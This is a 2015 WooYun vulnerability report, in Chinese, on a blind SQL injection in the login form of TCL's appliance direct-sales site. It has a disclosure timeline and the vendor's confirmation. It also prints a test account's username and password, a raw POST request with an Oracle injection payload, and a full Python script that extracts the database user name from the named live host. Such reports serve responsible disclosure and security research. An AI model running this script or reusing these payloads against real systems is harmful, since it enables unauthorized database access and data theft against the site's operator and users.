当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100223

漏洞标题:TCL某直销平台Oracle盲注(附验证脚本)

相关厂商:TCL官方网上商城

漏洞作者: 路人甲

提交时间:2015-03-09 09:53

修复时间:2015-04-23 09:54

公开时间:2015-04-23 09:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-09: 细节已通知厂商并且等待厂商处理中
2015-03-09: 厂商已经确认,细节仅向厂商公开
2015-03-19: 细节向核心白帽子及相关领域专家公开
2015-03-29: 细节向普通白帽子公开
2015-04-08: 细节向实习白帽子公开
2015-04-23: 细节向公众公开

简要描述:

详细说明:

http://www.e-tcl.com/

TCL冰箱洗衣机直销平台,存在盲注。
这个盲注需要一枚账号才能成功,因为这枚正确的账号会产生盲注的比对页面,试了一下,没有正确的账号貌似不行~
反正该账号内网才能用,我就不打码了:

用户名:test  密码:123456


当用正确的账号登陆时,会提示“只能在局域网使用”,思路正来自于此。

1.jpg


POST http://www.e-tcl.com/web/SubmitLogin.do
value(entcode)=tclbx&value(password)=123456&value(userName)=test'and/**/length(SYS_CONTEXT('USERENV','CURRENT_USER'))='5&value(verifycode)=g


当为真时,提示只能在局域网内使用:

4.jpg

为假时出现登陆界面:

5.jpg


可以猜解出猜解current_user长度为5:

6.jpg

猜解current_user,得到:

TCLBX

9.jpg


验证脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payloads = list(string.ascii_uppercase)
#payloads = list('T')
print 'start to retrive Oracle user:'
user = ''
for i in range(1,6):
for payload in payloads:
conn = httplib.HTTPConnection('www.e-tcl.com', timeout=60)
params = {
'value(entcode)': 'tclbx',
'value(password)': '123456',
'value(userName)': "test'and/**/ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))='%s" % (i, ord(payload)),
'value(verifycode)': 'g',
}
conn.request(method='POST',
url='/web/SubmitLogin.do',
body = urllib.urlencode(params),
headers = headers)
resp = conn.getresponse()
html_doc = resp.read().decode('utf-8')
conn.close()
#print html_doc
print '.',
if html_doc.find(u'您只能在局域网使用本系统') > 0: # True
user += payload
print '\n[in progress]', user
break
print '\nOracle user is', user

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-09 09:59

厂商回复:

感谢你的工作,已转交相关人员处理。

最新状态:

暂无